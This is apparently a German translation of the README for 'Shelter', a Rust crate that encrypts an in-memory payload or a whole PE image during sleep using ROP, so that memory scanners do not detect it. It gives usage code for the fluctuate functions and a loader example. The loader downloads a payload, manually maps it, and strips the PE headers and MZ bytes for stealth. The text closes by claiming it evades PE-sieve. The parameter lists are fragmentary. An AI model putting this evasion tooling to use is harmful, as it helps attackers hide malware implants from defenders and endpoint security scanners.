
ROP-basierte Schlafobfuskation zur Umgehung von Speicherscannern
Shelter ist eine vollständig bewaffnete Sleep-Verschleierungstechnik, die es ermöglicht, Ihren In-Memory-Payload vollständig zu verschlüsseln, unter umfangreicher Nutzung von ROP.
Diese Crate bietet die folgenden Eigenschaften:
Importieren Sie diese Crate in Ihr Projekt, indem Sie die folgende Zeile zu Ihrer cargo.toml hinzufügen:
[dependencies]
shelter = "=0.1.2"
Kompilieren Sie dann Ihr Projekt im --release Modus.
Die Hauptfunktionalität dieser Crate wurde in drei Funktionen verpackt:
fluctuate() ermöglicht die Verschlüsselung entweder der aktuellen Speicherregion oder des gesamten PE. Diese Funktion benötigt die MZ-Bytes des PE, um dessen Basisadresse dynamisch abzurufen.fluctuate_from_address() verschlüsselt das gesamte PE. Diese Funktion erwartet als Eingabeparameter die Basisadresse des PE.fluctuate_from_pattern() verschlüsselt ebenfalls das gesamte PE. Diese Funktion erwartet als Eingabeparameter ein benutzerdefiniertes Paar von zwei Bytes, um die Basisadresse des PE zu bestimmen. Diese benutzerdefinierten Magic Bytes ersetzen das klassische MZ-Muster.Wann immer das gesamte PE verschlüsselt wird, werden die ursprünglichen Speicherschutzberechtigungen der Sektionen im Heap gespeichert, um sie später wiederherzustellen.
Shelter verwendet NtWaitForSingleObject zum Schlafen. Zusätzlich zur Angabe der Anzahl der Sekunden, die Sie schlafen möchten, können Sie auch ein Event-Handle übergeben und es jederzeit signalisieren, um vor Ablauf des Timeouts zurückzukehren (z. B. mit SetEvent). Beachten Sie, dass Sie, wenn Ihr gesamter Payload verschlüsselt ist (was ja der ganze Sinn ist, nehme ich an), eine alternative Möglichkeit benötigen, das Ereignis zu signalisieren, falls Sie unbegrenzt geschlafen haben.
Die Funktion erwartet die folgenden Parameter:
true übergeben wird, müssen die MZ-Bytes im Speicher vorhanden sein.None gesetzt wird, ist das Timeout unendlich, was bedeutet, dass die Ausführung erst zurückkehrt, wenn das an NtWaitForSingleObject übergebene Ereignis signalisiert wird.None sein. Das Programm bleibt hängen, wenn Sie diesen Parameter und das Timeout beide auf None setzen.let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate(false, time_to_sleep, None); // Encrypt only the current memory region
let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate(true, time_to_sleep, None); // Encrypt the whole PE
pub type CreateEventW = unsafe extern "system" fn (*const SECURITY_ATTRIBUTES, i32, i32, *const u16) -> HANDLE;
let k32 = dinvoke_rs::dinvoke::get_module_base_address("kernel32.dll");
let create_event: CreateEventW;
let event_handle: Option<HANDLE>;
dinvoke_rs::dinvoke::dynamic_invoke!(k32,"CreateEventW",create_event,event_handle,ptr::null_mut(),0,0,ptr::null());
let time_to_sleep = None; // Sleep indefinitely
let _ = shelter::fluctuate(true, time_to_sleep, event_handle); // Encrypt the whole PE until the event is signaled
Die Funktion erwartet die folgenden Parameter:
None gesetzt wird, ist das Timeout unendlich, was bedeutet, dass die Ausführung erst zurückkehrt, wenn das an NtWaitForSingleObject übergebene Ereignis signalisiert wird.None sein. Das Programm bleibt hängen, wenn Sie diesen Parameter und das Timeout beide auf None setzen.Eine Möglichkeit, diese Funktion zu verwenden, besteht darin, unseren Payload manuell mit Dinvoke_rs zu mappen. Auf diese Weise kann der Loader dem Payload seine eigene Basisadresse senden, sodass der Payload sie verwenden kann, um sich selbst bei Bedarf zu verschleiern. Auf diese Weise kann der Loader sicher die PE-Header entfernen, um ein gewisses Maß an Tarnung zu erreichen.
Loader-Beispiel:
let payload: Vec<u8> = your_download_function();
let mut m = dinvoke_rs::manualmap::manually_map_module(payload.as_ptr(), true).unwrap();
println!("The dll is loaded at base address 0x{:x}", m.1);
let dll_exported_function = dinvoke::get_function_address(m.1, "run");
let run: unsafe extern "Rust" fn (usize) = std::mem::transmute(dll_exported_function);
run(m.1 as usize);
Payload-Beispiel:
#[no_mangle]
fn run(base_address: usize)
{
...
let time_to_sleep = Some(10); // Sleep for 10 seconds
let _ = shelter::fluctuate_from_address(time_to_sleep, None, base_address); // Encrypt the entire PE from this specific base address
...
}
Die Funktion erwartet die folgenden Parameter:
None gesetzt wird, ist das Timeout unendlich, was bedeutet, dass die Ausführung erst zurückkehrt, wenn das an NtWaitForSingleObject übergebene Ereignis signalisiert wird.None sein. Das Programm bleibt hängen, wenn Sie diesen Parameter und das Timeout beide auf None setzen.[u8;2]-Array, das benutzerdefinierte Magic Bytes enthält, nach denen gesucht werden soll, um die Basisadresse des PE zu erhalten.Der Sinn dieser Funktion besteht darin, dem Loader zu ermöglichen, den PE-Header und andere Signaturen, einschließlich der klassischen MZ-Bytes, zu entfernen. Auf diese Weise können diese Bytes durch ein benutzerdefiniertes Muster ersetzt werden, nach dem Shelter sucht, um die Basisadresse des PE zu ermitteln.
let time_to_sleep = Some(10); // Sleep for 10 seconds
let pattern = [0x29,0x07];
let _ = shelter::fluctuate_from_pattern(time_to_sleep, None, pattern); // Encrypt the whole PE using custom pattern as magic bytes
Um die Implementierung der Technik zu testen, wurde hauptsächlich PE-sieve verwendet. Standardmäßig sucht PE-sieve nach Implantaten in ausführbaren Speicherregionen, was bedeutet, dass selbst die ausschließliche Verschleierung der aktuellen Speicherregion (.text) ausreicht, um Erkennungen zu vermeiden: